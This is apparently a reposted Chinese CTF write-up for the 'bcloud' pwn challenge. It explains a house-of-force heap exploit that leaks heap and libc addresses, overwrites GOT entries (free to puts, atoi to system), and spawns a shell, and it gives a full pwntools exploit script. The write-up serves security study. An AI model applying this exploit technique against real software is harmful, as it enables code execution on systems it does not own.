ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[house of force] bcloud

2021-05-30 23:02:09  阅读:178  来源: 互联网

标签:force heap libc house system add atoi base bcloud


[house of force] bcloud

1. ida分析

  1. 漏洞主要在init函数

    在这里插入图片描述

    在这里插入图片描述

    • 输入name的时候,可以泄漏heap的地址
  2. org、host都用的read函数,因此都存在off by one

    在这里插入图片描述

    • 32位系统中的off by one,最后很有可能是有值的,不是\x00,试一下就知道了,我这里试了一下,可以触发house of force

2. 思路

  1. 利用name,泄漏heap的基址,得到top chunk addr

    def inti(name,org,host):
        sa('Input your name:\n',name)
        heap_base = u32(ru('!')[-5:-1])-8
        leak("heap_base",heap_base)
        sa('Org:\n',org)
        sa('Host:\n',host)
        return heap_base
    heap_base = inti('\xff'*64,'\xff'*64,'\xff'*64)
    
  2. 然后利用house of force,在notelist处构造fake chunk

    #这里申请4个chunk是为了下面edit构造合法的size,不然没法编辑,我是最后调试发现的
    add(0x10,'0')
    add(0x10,'1')
    add(0x10,'2')
    add(0x10,'3')
    top_chunk = heap_base + 0x138
    ptr = 0x804b120
    offset = ptr-0x10 - top_chunk
    leak("offset",offset)
    add(offset,'0'*8)#下一次就可以申请chunk在ptr
    
  3. 进而可以进行任意地址写,这里将free修改为puts,用于泄漏libc的基址

    add(0x68,p32(elf.got['free'])*2+p32(elf.got['atoi'])*4)
    edit(1,p32(elf.plt['puts']))
    remove(2)
    atoi = u32(r(4))
    leak("atoi",atoi)
    libc_base = atoi-libc.sym['atoi']
    leak('libc_base',libc_base)
    
  4. 进而获得system函数的地址,将atoi修改为system

    #这里的onegadget条件均不满足
    one = libc_base + 0x5fbd6
    system = libc_base + libc.sym['system']
    leak("system",system)
    edit(3,p32(system))
    s('/bin/sh\x00')
    

3. exp

#!/usr/bin/env python
# coding=utf-8
# Author : huzai24601
from pwn import *
from LibcSearcher import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF('./bcloud')
context(arch=elf.arch,os='linux',log_level='debug')
p=process(elf.path)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
local_libc_64  = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s=lambda data :p.send(data)
sa=lambda delim,data :p.sendafter(delim, data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim, data) 
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims :p.recvuntil(delims)
uu64=lambda data :u64(data.ljust(8,'\x00'))
leak=lambda name,addr :log.success('{} ===> {:#x}'.format(name, addr))

def debug():
    gdb.attach(p)
    pause()
    pass
def inti(name,org,host):
    sa('Input your name:\n',name)
    heap_base = u32(ru('!')[-5:-1])-8
    leak("heap_base",heap_base)
    sa('Org:\n',org)
    sa('Host:\n',host)
    return heap_base

def add(size,cont):
    sla('>>\n','1')
    sla('content:\n',str(size))
    if len(cont)==64:
        sa('content:\n',cont)
    else:
        sla('content:\n',cont)

def edit(index,cont):
    sla('>>\n','3')
    sla('id:\n',str(index))
    if len(cont)==64:
        sa('content:\n',cont)
    else:
        sla('content:\n',cont)

def remove(index):
    sla('>>\n','4')
    sla('id:\n',str(index))

heap_base = inti('\xff'*64,'\xff'*64,'\xff'*64)
add(0x10,'0')
add(0x10,'1')
add(0x10,'2')
add(0x10,'3')
top_chunk = heap_base + 0x138
ptr = 0x804b120
offset = ptr-0x10 - top_chunk
leak("offset",offset)
add(offset,'0'*8)
add(0x68,p32(elf.got['free'])*2+p32(elf.got['atoi'])*4)
edit(1,p32(elf.plt['puts']))
remove(2)
atoi = u32(r(4))
leak("atoi",atoi)
libc_base = atoi-libc.sym['atoi']
leak('libc_base',libc_base)
one = libc_base + 0x5fbd6
system = libc_base + libc.sym['system']
leak("system",system)
edit(3,p32(system))
s('/bin/sh\x00')
p.interactive()

4. 几个注意点

  1. 需要先申请几个合法的chunk,这样才有合法的size,用于后面的edit
  2. onegadget不可用,可以将atoi修改为system,参数传/bin/sh\x00

标签:force,heap,libc,house,system,add,atoi,base,bcloud
来源: https://blog.csdn.net/huzai9527/article/details/117406834

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有